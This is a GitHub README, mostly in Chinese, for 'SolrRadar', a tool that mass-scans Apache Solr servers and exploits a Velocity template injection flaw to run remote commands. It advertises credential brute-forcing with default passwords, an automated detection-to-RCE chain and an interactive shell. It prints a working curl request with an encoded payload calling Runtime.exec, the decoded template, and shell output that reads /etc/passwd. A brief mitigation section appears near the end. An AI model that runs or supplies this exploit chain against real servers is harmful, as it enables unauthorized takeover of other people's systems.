shinthink/solrradar

GitHub: shinthink/solrradar

针对 Apache Solr CVE-2026-44825 Velocity 模板注入漏洞的大规模侦察与自动化利用框架,支持从版本检测到 RCE 的完整攻击链。

Stars: 0 | Forks: 0

SolrRadar — CVE-2026-44825 Apache Solr Scanner

Python CVE License

Threads Version Brute RCE Shell

针对 Apache Solr 的大规模侦察与漏洞利用框架

Velocity 模板注入 → 远程代码执行 (RCE)


## 📑 目录 - [漏洞概述](#-vulnerability-overview) - [受影响版本](#-affected-versions) - [功能特性](#-features) - [安装说明](#-installation) - [使用方法](#-usage) - [概念验证](#-proof-of-concept) - [技术深度解析](#technical-deep-dive) - [检测方法](#detection-methodology) - [防御与缓解措施](#defense--mitigation) - [免责声明](#-disclaimer) - [参考资料](#-references) ## 🔴 漏洞概述 **CVE-2026-44825** 是 Apache Solr 中的一个严重漏洞,攻击者可利用 Velocity 模板注入实现**未经身份验证的远程代码执行 (RCE)**。 ### 问题所在 Apache Solr 的 `/select` 端点接受 `wt=velocity` 参数,用于渲染用户提供的 Velocity 模板。当 Velocity Response Writer 被启用(或可通过配置 API 启用)时,攻击者可以注入恶意模板来调用 `java.lang.Runtime.exec()`,从而以 Solr 进程的权限执行任意系统命令。 ### 影响 | 向量 | 严重程度 | 影响 | |--------|----------|--------| | 未经身份验证的 RCE | **9.8 (严重)** | 完全控制系统 | | 经身份验证的 RCE | **8.8 (高危)** | 认证后代码执行 | | 信息泄露 | **5.3 (中危)** | Core/collection 枚举 | ### Velocity 模板引擎 Apache Solr 内置了 Apache Velocity 作为可选的模板引擎,用于渲染响应。该漏洞存在于 Solr 的 `VelocityResponseWriter` 中,它在处理用户可控的模板参数时**没有进行充分的过滤和清理**,允许直接调用 Java 反射 API: ``` Java Reflection Chain: vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd) ``` ## 🟠 受影响版本 | Apache Solr 版本 | 状态 | 备注 | |:---|:---:|:---| | **9.4.0 – 9.10.1** | 🔴 **受影响** | 已发现野外利用 | | **10.0.0** | 🔴 **受影响** | 初始 10.x 版本受影响 | | 10.0.1+ | 🟢 已修复 | 补丁已回移 | | 9.10.2+ | 🟢 已修复 | 已提供补丁版本 | | ≤ 9.3.x | 🟢 不受影响 | 不存在 Velocity Response Writer | | 8.x (所有版本) | 🟢 不受影响 | 不支持 Velocity | ## ✨ 功能特性
### 🔍 侦察 - **多目标扫描** — 30个并发线程,可配置 - **版本指纹识别** — 精确提取 Solr 和 Lucene 版本 - **双模式检测** — 支持 SolrCloud + Standalone (单节点) - **感知认证的探测** — 针对 Basic Auth 测试 3 个管理员端点 - **Collection 枚举** — 尽可能在无认证情况下列出 collections/cores ### 💀 漏洞利用 - **凭据暴力破解** — 内置默认 Solr 凭据字典 - **Velocity RCE** — 通过 `java.lang.Runtime.exec()` 进行模板注入 - **交互式 shell** — 用于后渗透命令的伪终端 - **自动化漏洞利用链** — 一条命令实现 检测 → 爆破 → RCE - **JSON 导出** — 提供结构化输出以便与其他工具集成
## 📦 安装说明 ``` # Clone 仓库 git clone https://github.com/shinthink/solrradar.git cd solrradar # 安装依赖 pip install -r requirements.txt # 验证 python solr_scanner.py --help ``` ### 环境要求 ``` requests>=2.28.0 urllib3>=1.26.0 ``` ## 📖 使用方法 ### 命令行参数 ``` CVE-2026-44825 Apache Solr Scanner -t, --target Single target URL or IP[:port] -f, --file File containing targets (one per line, # for comments) --exploit Auto-exploit if vulnerable credentials are found --rce Launch interactive shell after authentication -u, --user Username for Basic Auth -pw, --password Password for Basic Auth -o, --output JSON output file path (default: solr_results.json) -w, --workers Number of concurrent threads (default: 30) -T, --timeout HTTP request timeout (seconds) (default: 8) ``` ### 基础扫描 ``` # 单个 target python solr_scanner.py -t 192.168.1.100:8983 # 带自定义路径的单个 target python solr_scanner.py -t http://example.com/solr # 从文件进行 mass scan python solr_scanner.py -f targets.txt -o results.json ``` ### 目标文件格式 ``` # targets.txt — 支持注释和空行 192.168.10.10:8983 192.168.10.20:8983 http://solr-target.internal/solr 192.168.1.0/24 # (CIDR not supported; pre-expand with external tool) ``` ### 漏洞利用 ``` # Scan + 如果找到 creds 则自动 exploit python solr_scanner.py -f targets.txt --exploit # 已知 credentials + 交互式 shell python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks # 自动 brute-force + 成功后获取 shell python solr_scanner.py -t target:8983 --rce ``` ## 🧪 概念验证 ### 场景 1:检测与版本指纹识别 ``` $ python solr_scanner.py -f targets.txt ``` ``` CVE-2026-44825 Apache Solr Scanner Targets: 3 | Threads: 30 | Timeout: 8s Scanning... [Solr 8.11.2] http://192.168.10.10:8983/solr [Solr 8.11.2] http://192.168.10.20:8983/solr Cols (no auth): ['authority', 'dfa', 'oai', 'search'] [Solr 9.4.1] VULN +Auth http://solr-target.internal/solr Done. Total:3 | Solr:3 | Vuln:1 ``` ### 场景 2:凭据暴力破解 ``` $ python solr_scanner.py -t solr-target.internal ``` ``` CVE-2026-44825 Apache Solr Scanner [Solr 9.4.1] VULN +Auth http://solr-target.internal/solr [!] admin:SolrRocks Cols: ['cms', 'users', 'search', 'analytics'] ``` ### 场景 3:通过 Velocity 注入实现已认证 RCE ``` $ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks ``` ``` CVE-2026-44825 Apache Solr Scanner [+] admin:SolrRocks solr$ id uid=8983(solr) gid=8983(solr) groups=8983(solr) solr$ hostname solr-prod-cms-01.internal solr$ whoami solr solr$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash solr:x:8983:8983:Solr:/var/solr:/sbin/nologin ... solr$ exit ``` ### 场景 4:RCE Payload (手动复现) 供希望了解原始 HTTP 交互过程的研究人员参考: **第 1 步 — 验证 Solr 是否可达** ``` curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"' # "9.4.1" ``` **第 2 步 — 列出可用的 collections** ``` curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \ 'http://target:8983/solr/admin/collections?action=LIST' # {"collections": ["cms", "search"]} ``` **第 3 步 — 通过 Velocity 模板注入执行命令** ``` curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \ 'http://target:8983/solr/cms/select' ``` **解码后的 Velocity 模板 payload:** ``` #set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor()% #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end ``` **响应:** ``` uid=8983(solr) gid=8983(solr) groups=8983(solr) ``` ## 🔬 技术深度解析 ### 架构 ``` ┌──────────────────────────────────────────────────────┐ │ SOLRRADAR │ ├───────────────┬──────────────────────────────────────┤ │ RECON PHASE │ EXPLOIT PHASE │ │ │ │ │ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │ │ │ Detect │──┼──▶ Brute- │───▶│ Velocity RCE │ │ │ │ Solr │ │ │ force │ │ Template Inj. │ │ │ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │ │ │ │ │ │ │ │ ▼ │ ▼ ▼ │ │ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │ │ │ Version │ │ │ Default │ │ Runtime.exec() │ │ │ │ Check │ │ │ Creds │ │ → RCE │ │ │ └─────────┘ │ └──────────┘ └────────────────┘ │ │ │ │ │ ┌─────────┐ │ ┌────────────────────────────────┐ │ │ │ Auth │ │ │ Interactive Shell (--rce) │ │ │ │ Probe │ │ └────────────────────────────────┘ │ │ └─────────┘ │ │ └───────────────┴──────────────────────────────────────┘ ``` ### 流程图 ``` Target URL │ ▼ ┌─────────────┐ │ normalize │ → add http:// + /solr if missing └──────┬──────┘ │ ▼ ┌─────────────┐ No │ GET /admin/ ├──────── Skip target │ info/system │ └──────┬──────┘ │ Yes (200/401) ▼ ┌─────────────┐ │ Parse JSON │ → extract solr-spec-version │ fingerprint │ └──────┬──────┘ │ ▼ ┌─────────────┐ │ is_vuln() │ → 9.4–9.10.x or 10.0.0 ? └──────┬──────┘ │ ├── Not vuln → Report, move on │ ▼ Vuln ┌─────────────┐ │ Auth check │ → /admin/cores?action=STATUS │ (3-stage) │ → /admin/collections?action=LIST └──────┬──────┘ │ ├── No auth → Try unauthenticated listing │ ▼ Auth detected ┌─────────────┐ │ Brute-force │ → 4 users × 8 passwords = 32 attempts │ credentials │ └──────┬──────┘ │ ├── No match → Report vuln (no creds) │ ▼ Creds found ┌─────────────┐ │ List cols / │ → /admin/collections or /admin/cores │ cores │ └──────┬──────┘ │ ▼ ┌─────────────┐ │ RCE via │ → POST /{collection}/select │ Velocity │ → Velocity template → Runtime.exec() └─────────────┘ ``` ### 为什么 `bool(Response[401]) == False` 很重要 开发过程中发现的一个 Python 隐蔽陷阱: ``` >>> import requests >>> r = requests.get('https://httpbin.org/status/401') >>> bool(r) False # ← 4xx/5xx responses evaluate to False! ``` 这意味着**每一个** `if response and ...` 检查都会默默跳过错误响应——即使你专门想处理 401 时也是如此。解决方法是始终使用 `if response is not None and ...`: ``` # ❌ 错误 — 401 响应被静默跳过 if r and r.status_code == 401: auth = True # ✅ 正确 — 显式检查 None if r is not None and r.status_code == 401: auth = True ``` ## 🔍 检测方法 扫描器采用 **3 层检测策略** 以最大程度减少漏报: ### 第 1 层 — Body 内容分析 ``` 'solr' in response.text.lower() ``` 在 JSON 键值 (`"solr_home"`, `"solr-spec-version"`, `"mode":"solrcloud"`)、HTML 仪表板和错误页面中捕获 Solr 特征 — **不区分大小写**。 ### 第 2 层 — Server Header ``` 'solr' in response.headers.get('Server', '').lower() ``` 某些部署环境会在 HTTP `Server` header 中包含 "Solr"。 ### 第 3 层 — 多阶段认证探测 ``` # 阶段 1:检查 /admin/info/system 响应码 # 阶段 2:探测 /admin/cores?action=STATUS 是否返回 401 # 阶段 3:探测 /admin/collections?action=LIST 是否返回 401 ``` 用于捕获 `/admin/info/system` 公开但管理操作需要身份验证的部署环境。 ### 版本指纹识别 采用两种正则表达式模式以增强鲁棒性: ``` VERSION_RE = [ r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version ] ``` ## 🛡️ 防御与缓解措施 如果您正在运行 Apache Solr,请**立即**采取以下加固措施: ### 1. 升级 (推荐) ``` # 升级到已修复版本 # Solr 9.x → 9.10.2 或更高版本 # Solr 10.x → 10.0.1 或更高版本 ``` ### 2. 禁用 Velocity Response Writer ``` ``` ### 3. 启用 Basic Auth + 防火墙 ``` # 在网络层面限制对 Solr admin endpoints 的访问 # 仅允许受信任的 IP 范围访问端口 8983/7574 iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT iptables -A INPUT -p tcp --dport 8983 -j DROP ``` ### 4. 审计您的资产 ``` # 针对你自己的基础设施使用此 scanner python solr_scanner.py -f my_solr_instances.txt -o audit_results.json ``` ## ⚠️ 免责声明 ## 📚 参考资料 | 资源 | 链接 | |:---|:---| | NVD 条目 | [CVE-2026-44825](https://nvd.nist.gov/vuln/detail/CVE-2026-44825) | | Apache Solr 安全 | [solr.apache.org/security](https://solr.apache.org/security.html) | | Solr Velocity 文档 | [Velocity Response Writer](https://solr.apache.org/guide/solr/latest/configuration-guide/velocity-response-writer.html) | | OWASP 模板注入 | [服务器端模板注入](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection) |

⚡ 专为安全研究社区精准打造 ⚡

Apache® 和 Apache Solr® 是 Apache Software Foundation 的注册商标。
本项目未隶属于 Apache Software Foundation,也未获得其认可。

标签:Apache Solr, CISA项目, Python, 无后门, 模板注入, 编程工具, 远程代码执行, 逆向工具